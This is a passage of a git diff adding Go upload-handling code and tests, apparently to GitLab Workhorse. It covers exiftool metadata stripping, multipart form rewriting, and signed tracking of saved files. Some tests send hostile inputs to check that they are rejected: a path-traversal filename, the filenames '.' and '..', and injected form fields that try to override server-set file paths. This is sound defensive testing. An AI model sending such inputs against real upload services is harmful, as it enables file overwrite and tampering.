+ }
+
+ return n, err
+}
+
+func (c *cleaner) startProcessing(stdin io.Reader) error {
+ var err error
+
+ whitelisted_tags := []string{
+ "-ResolutionUnit",
+ "-XResolution",
+ "-YResolution",
+ "-YCbCrSubSampling",
+ "-YCbCrPositioning",
+ "-BitsPerSample",
+ "-ImageHeight",
+ "-ImageWidth",
+ "-ImageSize",
+ "-Copyright",
+ "-CopyrightNotice",
+ "-Orientation",
+ }
+
+ args := append([]string{"-all=", "--IPTC:all", "--XMP-iptcExt:all", "-tagsFromFile", "@"}, whitelisted_tags...)
+ args = append(args, "-")
+ c.cmd = exec.CommandContext(c.ctx, "exiftool", args...)
+
+ c.cmd.Stderr = &c.stderr
+ c.cmd.Stdin = stdin
+
+ c.stdout, err = c.cmd.StdoutPipe()
+ if err != nil {
+ return fmt.Errorf("failed to create stdout pipe: %v", err)
+ }
+
+ if err = c.cmd.Start(); err != nil {
+ return fmt.Errorf("start %v: %v", c.cmd.Args, err)
+ }
+
+ return nil
+}
+
+func IsExifFile(filename string) bool {
+ filenameMatch := regexp.MustCompile(`(?i)\.(jpg|jpeg|tiff)$`)
+
+ return filenameMatch.MatchString(filename)
+}
diff --git a/workhorse/internal/upload/exif/exif_test.go b/workhorse/internal/upload/exif/exif_test.go
new file mode 100644
index 00000000000..373d97f7fce
--- /dev/null
+++ b/workhorse/internal/upload/exif/exif_test.go
@@ -0,0 +1,95 @@
+package exif
+
+import (
+ "context"
+ "io"
+ "io/ioutil"
+ "os"
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestIsExifFile(t *testing.T) {
+ tests := []struct {
+ name string
+ expected bool
+ }{
+ {
+ name: "/full/path.jpg",
+ expected: true,
+ },
+ {
+ name: "path.jpeg",
+ expected: true,
+ },
+ {
+ name: "path.tiff",
+ expected: true,
+ },
+ {
+ name: "path.JPG",
+ expected: true,
+ },
+ {
+ name: "path.tar",
+ expected: false,
+ },
+ {
+ name: "path",
+ expected: false,
+ },
+ }
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ require.Equal(t, test.expected, IsExifFile(test.name))
+ })
+ }
+}
+
+func TestNewCleanerWithValidFile(t *testing.T) {
+ input, err := os.Open("testdata/sample_exif.jpg")
+ require.NoError(t, err)
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ cleaner, err := NewCleaner(ctx, input)
+ require.NoError(t, err, "Expected no error when creating cleaner command")
+
+ size, err := io.Copy(ioutil.Discard, cleaner)
+ require.NoError(t, err, "Expected no error when reading output")
+
+ sizeAfterStrip := int64(25399)
+ require.Equal(t, sizeAfterStrip, size, "Different size of converted image")
+}
+
+func TestNewCleanerWithInvalidFile(t *testing.T) {
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ cleaner, err := NewCleaner(ctx, strings.NewReader("invalid image"))
+ require.NoError(t, err, "Expected no error when creating cleaner command")
+
+ size, err := io.Copy(ioutil.Discard, cleaner)
+ require.Error(t, err, "Expected error when reading output")
+ require.Equal(t, int64(0), size, "Size of invalid image should be 0")
+}
+
+func TestNewCleanerReadingAfterEOF(t *testing.T) {
+ input, err := os.Open("testdata/sample_exif.jpg")
+ require.NoError(t, err)
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ cleaner, err := NewCleaner(ctx, input)
+ require.NoError(t, err, "Expected no error when creating cleaner command")
+
+ _, err = io.Copy(ioutil.Discard, cleaner)
+ require.NoError(t, err, "Expected no error when reading output")
+
+ buf := make([]byte, 1)
+ size, err := cleaner.Read(buf)
+ require.Equal(t, 0, size, "The output was already consumed by previous reads")
+ require.Equal(t, io.EOF, err, "We return EOF")
+}
diff --git a/workhorse/internal/upload/exif/testdata/sample_exif.jpg b/workhorse/internal/upload/exif/testdata/sample_exif.jpg
new file mode 100644
index 00000000000..05eda3f7f95
--- /dev/null
+++ b/workhorse/internal/upload/exif/testdata/sample_exif.jpg
Binary files differ
diff --git a/workhorse/internal/upload/object_storage_preparer.go b/workhorse/internal/upload/object_storage_preparer.go
new file mode 100644
index 00000000000..7a113fae80a
--- /dev/null
+++ b/workhorse/internal/upload/object_storage_preparer.go
@@ -0,0 +1,28 @@
+package upload
+
+import (
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+)
+
+type ObjectStoragePreparer struct {
+ config config.ObjectStorageConfig
+ credentials config.ObjectStorageCredentials
+}
+
+func NewObjectStoragePreparer(c config.Config) Preparer {
+ return &ObjectStoragePreparer{credentials: c.ObjectStorageCredentials, config: c.ObjectStorageConfig}
+}
+
+func (p *ObjectStoragePreparer) Prepare(a *api.Response) (*filestore.SaveFileOpts, Verifier, error) {
+ opts, err := filestore.GetOpts(a)
+ if err != nil {
+ return nil, nil, err
+ }
+
+ opts.ObjectStorageConfig.URLMux = p.config.URLMux
+ opts.ObjectStorageConfig.S3Credentials = p.credentials.S3Credentials
+
+ return opts, nil, nil
+}
diff --git a/workhorse/internal/upload/object_storage_preparer_test.go b/workhorse/internal/upload/object_storage_preparer_test.go
new file mode 100644
index 00000000000..613b6071275
--- /dev/null
+++ b/workhorse/internal/upload/object_storage_preparer_test.go
@@ -0,0 +1,62 @@
+package upload_test
+
+import (
+ "testing"
+
+ "gocloud.dev/blob"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestPrepareWithS3Config(t *testing.T) {
+ creds := config.S3Credentials{
+ AwsAccessKeyID: "test-key",
+ AwsSecretAccessKey: "test-secret",
+ }
+
+ c := config.Config{
+ ObjectStorageCredentials: config.ObjectStorageCredentials{
+ Provider: "AWS",
+ S3Credentials: creds,
+ },
+ ObjectStorageConfig: config.ObjectStorageConfig{
+ URLMux: new(blob.URLMux),
+ },
+ }
+
+ r := &api.Response{
+ RemoteObject: api.RemoteObject{
+ ID: "the ID",
+ UseWorkhorseClient: true,
+ ObjectStorage: &api.ObjectStorageParams{
+ Provider: "AWS",
+ },
+ },
+ }
+
+ p := upload.NewObjectStoragePreparer(c)
+ opts, v, err := p.Prepare(r)
+
+ require.NoError(t, err)
+ require.True(t, opts.ObjectStorageConfig.IsAWS())
+ require.True(t, opts.UseWorkhorseClient)
+ require.Equal(t, creds, opts.ObjectStorageConfig.S3Credentials)
+ require.NotNil(t, opts.ObjectStorageConfig.URLMux)
+ require.Equal(t, nil, v)
+}
+
+func TestPrepareWithNoConfig(t *testing.T) {
+ c := config.Config{}
+ r := &api.Response{RemoteObject: api.RemoteObject{ID: "id"}}
+ p := upload.NewObjectStoragePreparer(c)
+ opts, v, err := p.Prepare(r)
+
+ require.NoError(t, err)
+ require.False(t, opts.UseWorkhorseClient)
+ require.Nil(t, v)
+ require.Nil(t, opts.ObjectStorageConfig.URLMux)
+}
diff --git a/workhorse/internal/upload/rewrite.go b/workhorse/internal/upload/rewrite.go
new file mode 100644
index 00000000000..e51604c6ed9
--- /dev/null
+++ b/workhorse/internal/upload/rewrite.go
@@ -0,0 +1,203 @@
+package upload
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "mime/multipart"
+ "net/http"
+ "strings"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/lsif_transformer/parser"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload/exif"
+)
+
+// ErrInjectedClientParam means that the client sent a parameter that overrides one of our own fields
+var ErrInjectedClientParam = errors.New("injected client parameter")
+
+var (
+ multipartUploadRequests = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+
+ Name: "gitlab_workhorse_multipart_upload_requests",
+ Help: "How many multipart upload requests have been processed by gitlab-workhorse. Partitioned by type.",
+ },
+ []string{"type"},
+ )
+
+ multipartFileUploadBytes = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_multipart_upload_bytes",
+ Help: "How many disk bytes of multipart file parts have been successfully written by gitlab-workhorse. Partitioned by type.",
+ },
+ []string{"type"},
+ )
+
+ multipartFiles = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_multipart_upload_files",
+ Help: "How many multipart file parts have been processed by gitlab-workhorse. Partitioned by type.",
+ },
+ []string{"type"},
+ )
+)
+
+type rewriter struct {
+ writer *multipart.Writer
+ preauth *api.Response
+ filter MultipartFormProcessor
+ finalizedFields map[string]bool
+}
+
+func rewriteFormFilesFromMultipart(r *http.Request, writer *multipart.Writer, preauth *api.Response, filter MultipartFormProcessor, opts *filestore.SaveFileOpts) error {
+ // Create multipart reader
+ reader, err := r.MultipartReader()
+ if err != nil {
+ if err == http.ErrNotMultipart {
+ // We want to be able to recognize http.ErrNotMultipart elsewhere so no fmt.Errorf
+ return http.ErrNotMultipart
+ }
+ return fmt.Errorf("get multipart reader: %v", err)
+ }
+
+ multipartUploadRequests.WithLabelValues(filter.Name()).Inc()
+
+ rew := &rewriter{
+ writer: writer,
+ preauth: preauth,
+ filter: filter,
+ finalizedFields: make(map[string]bool),
+ }
+
+ for {
+ p, err := reader.NextPart()
+ if err != nil {
+ if err == io.EOF {
+ break
+ }
+ return err
+ }
+
+ name := p.FormName()
+ if name == "" {
+ continue
+ }
+
+ if rew.finalizedFields[name] {
+ return ErrInjectedClientParam
+ }
+
+ if p.FileName() != "" {
+ err = rew.handleFilePart(r.Context(), name, p, opts)
+ } else {
+ err = rew.copyPart(r.Context(), name, p)
+ }
+
+ if err != nil {
+ return err
+ }
+ }
+
+ return nil
+}
+
+func (rew *rewriter) handleFilePart(ctx context.Context, name string, p *multipart.Part, opts *filestore.SaveFileOpts) error {
+ multipartFiles.WithLabelValues(rew.filter.Name()).Inc()
+
+ filename := p.FileName()
+
+ if strings.Contains(filename, "/") || filename == "." || filename == ".." {
+ return fmt.Errorf("illegal filename: %q", filename)
+ }
+
+ opts.TempFilePrefix = filename
+
+ var inputReader io.ReadCloser
+ var err error
+ switch {
+ case exif.IsExifFile(filename):
+ inputReader, err = handleExifUpload(ctx, p, filename)
+ if err != nil {
+ return err
+ }
+ case rew.preauth.ProcessLsif:
+ inputReader, err = handleLsifUpload(ctx, p, opts.LocalTempPath, filename, rew.preauth)
+ if err != nil {
+ return err
+ }
+ default:
+ inputReader = ioutil.NopCloser(p)
+ }
+
+ defer inputReader.Close()
+
+ fh, err := filestore.SaveFileFromReader(ctx, inputReader, -1, opts)
+ if err != nil {
+ switch err {
+ case filestore.ErrEntityTooLarge, exif.ErrRemovingExif:
+ return err
+ default:
+ return fmt.Errorf("persisting multipart file: %v", err)
+ }
+ }
+
+ fields, err := fh.GitLabFinalizeFields(name)
+ if err != nil {
+ return fmt.Errorf("failed to finalize fields: %v", err)
+ }
+
+ for key, value := range fields {
+ rew.writer.WriteField(key, value)
+ rew.finalizedFields[key] = true
+ }
+
+ multipartFileUploadBytes.WithLabelValues(rew.filter.Name()).Add(float64(fh.Size))
+
+ return rew.filter.ProcessFile(ctx, name, fh, rew.writer)
+}
+
+func handleExifUpload(ctx context.Context, r io.Reader, filename string) (io.ReadCloser, error) {
+ log.WithContextFields(ctx, log.Fields{
+ "filename": filename,
+ }).Print("running exiftool to remove any metadata")
+
+ cleaner, err := exif.NewCleaner(ctx, r)
+ if err != nil {
+ return nil, err
+ }
+
+ return cleaner, nil
+}
+
+func handleLsifUpload(ctx context.Context, reader io.Reader, tempPath, filename string, preauth *api.Response) (io.ReadCloser, error) {
+ parserConfig := parser.Config{
+ TempPath: tempPath,
+ }
+
+ return parser.NewParser(ctx, reader, parserConfig)
+}
+
+func (rew *rewriter) copyPart(ctx context.Context, name string, p *multipart.Part) error {
+ np, err := rew.writer.CreatePart(p.Header)
+ if err != nil {
+ return fmt.Errorf("create multipart field: %v", err)
+ }
+
+ if _, err := io.Copy(np, p); err != nil {
+ return fmt.Errorf("duplicate multipart field: %v", err)
+ }
+
+ if err := rew.filter.ProcessField(ctx, name, rew.writer); err != nil {
+ return fmt.Errorf("process multipart field: %v", err)
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/upload/saved_file_tracker.go b/workhorse/internal/upload/saved_file_tracker.go
new file mode 100644
index 00000000000..7b6cade4faa
--- /dev/null
+++ b/workhorse/internal/upload/saved_file_tracker.go
@@ -0,0 +1,55 @@
+package upload
+
+import (
+ "context"
+ "fmt"
+ "mime/multipart"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+)
+
+type SavedFileTracker struct {
+ Request *http.Request
+ rewrittenFields map[string]string
+}
+
+func (s *SavedFileTracker) Track(fieldName string, localPath string) {
+ if s.rewrittenFields == nil {
+ s.rewrittenFields = make(map[string]string)
+ }
+ s.rewrittenFields[fieldName] = localPath
+}
+
+func (s *SavedFileTracker) Count() int {
+ return len(s.rewrittenFields)
+}
+
+func (s *SavedFileTracker) ProcessFile(_ context.Context, fieldName string, file *filestore.FileHandler, _ *multipart.Writer) error {
+ s.Track(fieldName, file.LocalPath)
+ return nil
+}
+
+func (s *SavedFileTracker) ProcessField(_ context.Context, _ string, _ *multipart.Writer) error {
+ return nil
+}
+
+func (s *SavedFileTracker) Finalize(_ context.Context) error {
+ if s.rewrittenFields == nil {
+ return nil
+ }
+
+ claims := MultipartClaims{RewrittenFields: s.rewrittenFields, StandardClaims: secret.DefaultClaims}
+ tokenString, err := secret.JWTTokenString(claims)
+ if err != nil {
+ return fmt.Errorf("savedFileTracker.Finalize: %v", err)
+ }
+
+ s.Request.Header.Set(RewrittenFieldsHeader, tokenString)
+ return nil
+}
+
+func (s *SavedFileTracker) Name() string {
+ return "accelerate"
+}
diff --git a/workhorse/internal/upload/saved_file_tracker_test.go b/workhorse/internal/upload/saved_file_tracker_test.go
new file mode 100644
index 00000000000..e5a5e8f23a7
--- /dev/null
+++ b/workhorse/internal/upload/saved_file_tracker_test.go
@@ -0,0 +1,39 @@
+package upload
+
+import (
+ "context"
+
+ "github.com/dgrijalva/jwt-go"
+
+ "net/http"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+func TestSavedFileTracking(t *testing.T) {
+ testhelper.ConfigureSecret()
+
+ r, err := http.NewRequest("PUT", "/url/path", nil)
+ require.NoError(t, err)
+
+ tracker := SavedFileTracker{Request: r}
+ require.Equal(t, "accelerate", tracker.Name())
+
+ file := &filestore.FileHandler{}
+ ctx := context.Background()
+ tracker.ProcessFile(ctx, "test", file, nil)
+ require.Equal(t, 1, tracker.Count())
+
+ tracker.Finalize(ctx)
+ token, err := jwt.ParseWithClaims(r.Header.Get(RewrittenFieldsHeader), &MultipartClaims{}, testhelper.ParseJWT)
+ require.NoError(t, err)
+
+ rewrittenFields := token.Claims.(*MultipartClaims).RewrittenFields
+ require.Equal(t, 1, len(rewrittenFields))
+
+ require.Contains(t, rewrittenFields, "test")
+}
diff --git a/workhorse/internal/upload/skip_rails_authorizer.go b/workhorse/internal/upload/skip_rails_authorizer.go
new file mode 100644
index 00000000000..716467b8841
--- /dev/null
+++ b/workhorse/internal/upload/skip_rails_authorizer.go
@@ -0,0 +1,22 @@
+package upload
+
+import (
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+)
+
+// SkipRailsAuthorizer implements a fake PreAuthorizer that do not calls rails API and
+// authorize each call as a local only upload to TempPath
+type SkipRailsAuthorizer struct {
+ // TempPath is the temporary path for a local only upload
+ TempPath string
+}
+
+// PreAuthorizeHandler implements PreAuthorizer. It always grant the upload.
+// The fake API response contains only TempPath
+func (l *SkipRailsAuthorizer) PreAuthorizeHandler(next api.HandleFunc, _ string) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ next(w, r, &api.Response{TempPath: l.TempPath})
+ })
+}
diff --git a/workhorse/internal/upload/uploads.go b/workhorse/internal/upload/uploads.go
new file mode 100644
index 00000000000..3be39f9518f
--- /dev/null
+++ b/workhorse/internal/upload/uploads.go
@@ -0,0 +1,66 @@
+package upload
+
+import (
+ "bytes"
+ "context"
+ "fmt"
+ "io/ioutil"
+ "mime/multipart"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload/exif"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/zipartifacts"
+)
+
+// These methods are allowed to have thread-unsafe implementations.
+type MultipartFormProcessor interface {
+ ProcessFile(ctx context.Context, formName string, file *filestore.FileHandler, writer *multipart.Writer) error
+ ProcessField(ctx context.Context, formName string, writer *multipart.Writer) error
+ Finalize(ctx context.Context) error
+ Name() string
+}
+
+func HandleFileUploads(w http.ResponseWriter, r *http.Request, h http.Handler, preauth *api.Response, filter MultipartFormProcessor, opts *filestore.SaveFileOpts) {
+ var body bytes.Buffer
+ writer := multipart.NewWriter(&body)
+ defer writer.Close()
+
+ // Rewrite multipart form data
+ err := rewriteFormFilesFromMultipart(r, writer, preauth, filter, opts)
+ if err != nil {
+ switch err {
+ case ErrInjectedClientParam:
+ helper.CaptureAndFail(w, r, err, "Bad Request", http.StatusBadRequest)
+ case http.ErrNotMultipart:
+ h.ServeHTTP(w, r)
+ case filestore.ErrEntityTooLarge:
+ helper.RequestEntityTooLarge(w, r, err)
+ case zipartifacts.ErrBadMetadata:
+ helper.RequestEntityTooLarge(w, r, err)
+ case exif.ErrRemovingExif:
+ helper.CaptureAndFail(w, r, err, "Failed to process image", http.StatusUnprocessableEntity)
+ default:
+ helper.Fail500(w, r, fmt.Errorf("handleFileUploads: extract files from multipart: %v", err))
+ }
+ return
+ }
+
+ // Close writer
+ writer.Close()
+
+ // Hijack the request
+ r.Body = ioutil.NopCloser(&body)
+ r.ContentLength = int64(body.Len())
+ r.Header.Set("Content-Type", writer.FormDataContentType())
+
+ if err := filter.Finalize(r.Context()); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("handleFileUploads: Finalize: %v", err))
+ return
+ }
+
+ // Proxy the request
+ h.ServeHTTP(w, r)
+}
diff --git a/workhorse/internal/upload/uploads_test.go b/workhorse/internal/upload/uploads_test.go
new file mode 100644
index 00000000000..fc1a1ac57ef
--- /dev/null
+++ b/workhorse/internal/upload/uploads_test.go
@@ -0,0 +1,475 @@
+package upload
+
+import (
+ "bytes"
+ "context"
+ "fmt"
+ "io/ioutil"
+ "mime/multipart"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "regexp"
+ "strconv"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore/test"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/proxy"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream/roundtripper"
+)
+
+var nilHandler = http.HandlerFunc(func(http.ResponseWriter, *http.Request) {})
+
+type testFormProcessor struct{}
+
+func (a *testFormProcessor) ProcessFile(ctx context.Context, formName string, file *filestore.FileHandler, writer *multipart.Writer) error {
+ return nil
+}
+
+func (a *testFormProcessor) ProcessField(ctx context.Context, formName string, writer *multipart.Writer) error {
+ if formName != "token" && !strings.HasPrefix(formName, "file.") && !strings.HasPrefix(formName, "other.") {
+ return fmt.Errorf("illegal field: %v", formName)
+ }
+ return nil
+}
+
+func (a *testFormProcessor) Finalize(ctx context.Context) error {
+ return nil
+}
+
+func (a *testFormProcessor) Name() string {
+ return ""
+}
+
+func TestUploadTempPathRequirement(t *testing.T) {
+ apiResponse := &api.Response{}
+ preparer := &DefaultPreparer{}
+ _, _, err := preparer.Prepare(apiResponse)
+ require.Error(t, err)
+}
+
+func TestUploadHandlerForwardingRawData(t *testing.T) {
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`/url/path\z`), func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "PATCH", r.Method, "method")
+
+ body, err := ioutil.ReadAll(r.Body)
+ require.NoError(t, err)
+ require.Equal(t, "REQUEST", string(body), "request body")
+
+ w.WriteHeader(202)
+ fmt.Fprint(w, "RESPONSE")
+ })
+ defer ts.Close()
+
+ httpRequest, err := http.NewRequest("PATCH", ts.URL+"/url/path", bytes.NewBufferString("REQUEST"))
+ require.NoError(t, err)
+
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempPath)
+
+ response := httptest.NewRecorder()
+
+ handler := newProxy(ts.URL)
+ apiResponse := &api.Response{TempPath: tempPath}
+ preparer := &DefaultPreparer{}
+ opts, _, err := preparer.Prepare(apiResponse)
+ require.NoError(t, err)
+
+ HandleFileUploads(response, httpRequest, handler, apiResponse, nil, opts)
+
+ require.Equal(t, 202, response.Code)
+ require.Equal(t, "RESPONSE", response.Body.String(), "response body")
+}
+
+func TestUploadHandlerRewritingMultiPartData(t *testing.T) {
+ var filePath string
+
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempPath)
+
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`/url/path\z`), func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "PUT", r.Method, "method")
+ require.NoError(t, r.ParseMultipartForm(100000))
+
+ require.Empty(t, r.MultipartForm.File, "Expected to not receive any files")
+ require.Equal(t, "test", r.FormValue("token"), "Expected to receive token")
+ require.Equal(t, "my.file", r.FormValue("file.name"), "Expected to receive a filename")
+
+ filePath = r.FormValue("file.path")
+ require.True(t, strings.HasPrefix(filePath, tempPath), "Expected to the file to be in tempPath")
+
+ require.Empty(t, r.FormValue("file.remote_url"), "Expected to receive empty remote_url")
+ require.Empty(t, r.FormValue("file.remote_id"), "Expected to receive empty remote_id")
+ require.Equal(t, "4", r.FormValue("file.size"), "Expected to receive the file size")
+
+ hashes := map[string]string{
+ "md5": "098f6bcd4621d373cade4e832627b4f6",
+ "sha1": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3",
+ "sha256": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
+ "sha512": "ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff",
+ }
+
+ for algo, hash := range hashes {
+ require.Equal(t, hash, r.FormValue("file."+algo), "file hash %s", algo)
+ }
+
+ require.Len(t, r.MultipartForm.Value, 11, "multipart form values")
+
+ w.WriteHeader(202)
+ fmt.Fprint(w, "RESPONSE")
+ })
+
+ var buffer bytes.Buffer
+
+ writer := multipart.NewWriter(&buffer)
+ writer.WriteField("token", "test")
+ file, err := writer.CreateFormFile("file", "my.file")
+ require.NoError(t, err)
+ fmt.Fprint(file, "test")
+ writer.Close()
+
+ httpRequest, err := http.NewRequest("PUT", ts.URL+"/url/path", nil)
+ require.NoError(t, err)
+
+ ctx, cancel := context.WithCancel(context.Background())
+ httpRequest = httpRequest.WithContext(ctx)
+ httpRequest.Body = ioutil.NopCloser(&buffer)
+ httpRequest.ContentLength = int64(buffer.Len())
+ httpRequest.Header.Set("Content-Type", writer.FormDataContentType())
+ response := httptest.NewRecorder()
+
+ handler := newProxy(ts.URL)
+
+ apiResponse := &api.Response{TempPath: tempPath}
+ preparer := &DefaultPreparer{}
+ opts, _, err := preparer.Prepare(apiResponse)
+ require.NoError(t, err)
+
+ HandleFileUploads(response, httpRequest, handler, apiResponse, &testFormProcessor{}, opts)
+ require.Equal(t, 202, response.Code)
+
+ cancel() // this will trigger an async cleanup
+ waitUntilDeleted(t, filePath)
+}
+
+func TestUploadHandlerDetectingInjectedMultiPartData(t *testing.T) {
+ var filePath string
+
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempPath)
+
+ tests := []struct {
+ name string
+ field string
+ response int
+ }{
+ {
+ name: "injected file.path",
+ field: "file.path",
+ response: 400,
+ },
+ {
+ name: "injected file.remote_id",
+ field: "file.remote_id",
+ response: 400,
+ },
+ {
+ name: "field with other prefix",
+ field: "other.path",
+ response: 202,
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ ts := testhelper.TestServerWithHandler(regexp.MustCompile(`/url/path\z`), func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "PUT", r.Method, "method")
+
+ w.WriteHeader(202)
+ fmt.Fprint(w, "RESPONSE")
+ })
+
+ var buffer bytes.Buffer
+
+ writer := multipart.NewWriter(&buffer)
+ file, err := writer.CreateFormFile("file", "my.file")
+ require.NoError(t, err)
+ fmt.Fprint(file, "test")
+
+ writer.WriteField(test.field, "value")
+ writer.Close()
+
+ httpRequest, err := http.NewRequest("PUT", ts.URL+"/url/path", &buffer)
+ require.NoError(t, err)
+
+ ctx, cancel := context.WithCancel(context.Background())
+ httpRequest = httpRequest.WithContext(ctx)
+ httpRequest.Header.Set("Content-Type", writer.FormDataContentType())
+ response := httptest.NewRecorder()
+
+ handler := newProxy(ts.URL)
+ apiResponse := &api.Response{TempPath: tempPath}
+ preparer := &DefaultPreparer{}
+ opts, _, err := preparer.Prepare(apiResponse)
+ require.NoError(t, err)
+
+ HandleFileUploads(response, httpRequest, handler, apiResponse, &testFormProcessor{}, opts)
+ require.Equal(t, test.response, response.Code)
+
+ cancel() // this will trigger an async cleanup
+ waitUntilDeleted(t, filePath)
+ })
+ }
+}
+
+func TestUploadProcessingField(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempPath)
+
+ var buffer bytes.Buffer
+
+ writer := multipart.NewWriter(&buffer)
+ writer.WriteField("token2", "test")
+ writer.Close()
+
+ httpRequest, err := http.NewRequest("PUT", "/url/path", &buffer)
+ require.NoError(t, err)
+ httpRequest.Header.Set("Content-Type", writer.FormDataContentType())
+
+ response := httptest.NewRecorder()
+ apiResponse := &api.Response{TempPath: tempPath}
+ preparer := &DefaultPreparer{}
+ opts, _, err := preparer.Prepare(apiResponse)
+ require.NoError(t, err)
+
+ HandleFileUploads(response, httpRequest, nilHandler, apiResponse, &testFormProcessor{}, opts)
+
+ require.Equal(t, 500, response.Code)
+}
+
+func TestUploadProcessingFile(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempPath)
+
+ _, testServer := test.StartObjectStore()
+ defer testServer.Close()
+
+ storeUrl := testServer.URL + test.ObjectPath
+
+ tests := []struct {
+ name string
+ preauth api.Response
+ }{
+ {
+ name: "FileStore Upload",
+ preauth: api.Response{TempPath: tempPath},
+ },
+ {
+ name: "ObjectStore Upload",
+ preauth: api.Response{RemoteObject: api.RemoteObject{StoreURL: storeUrl}},
+ },
+ {
+ name: "ObjectStore and FileStore Upload",
+ preauth: api.Response{
+ TempPath: tempPath,
+ RemoteObject: api.RemoteObject{StoreURL: storeUrl},
+ },
+ },
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ var buffer bytes.Buffer
+ writer := multipart.NewWriter(&buffer)
+ file, err := writer.CreateFormFile("file", "my.file")
+ require.NoError(t, err)
+ fmt.Fprint(file, "test")
+ writer.Close()
+
+ httpRequest, err := http.NewRequest("PUT", "/url/path", &buffer)
+ require.NoError(t, err)
+ httpRequest.Header.Set("Content-Type", writer.FormDataContentType())
+
+ response := httptest.NewRecorder()
+ apiResponse := &api.Response{TempPath: tempPath}
+ preparer := &DefaultPreparer{}
+ opts, _, err := preparer.Prepare(apiResponse)
+ require.NoError(t, err)
+
+ HandleFileUploads(response, httpRequest, nilHandler, apiResponse, &testFormProcessor{}, opts)
+
+ require.Equal(t, 200, response.Code)
+ })
+ }
+
+}
+
+func TestInvalidFileNames(t *testing.T) {
+ testhelper.ConfigureSecret()
+
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempPath)
+
+ for _, testCase := range []struct {
+ filename string
+ code int
+ }{
+ {"foobar", 200}, // sanity check for test setup below
+ {"foo/bar", 500},
+ {"/../../foobar", 500},
+ {".", 500},
+ {"..", 500},
+ } {
+ buffer := &bytes.Buffer{}
+
+ writer := multipart.NewWriter(buffer)
+ file, err := writer.CreateFormFile("file", testCase.filename)
+ require.NoError(t, err)
+ fmt.Fprint(file, "test")
+ writer.Close()
+
+ httpRequest, err := http.NewRequest("POST", "/example", buffer)
+ require.NoError(t, err)
+ httpRequest.Header.Set("Content-Type", writer.FormDataContentType())
+
+ response := httptest.NewRecorder()
+ apiResponse := &api.Response{TempPath: tempPath}
+ preparer := &DefaultPreparer{}
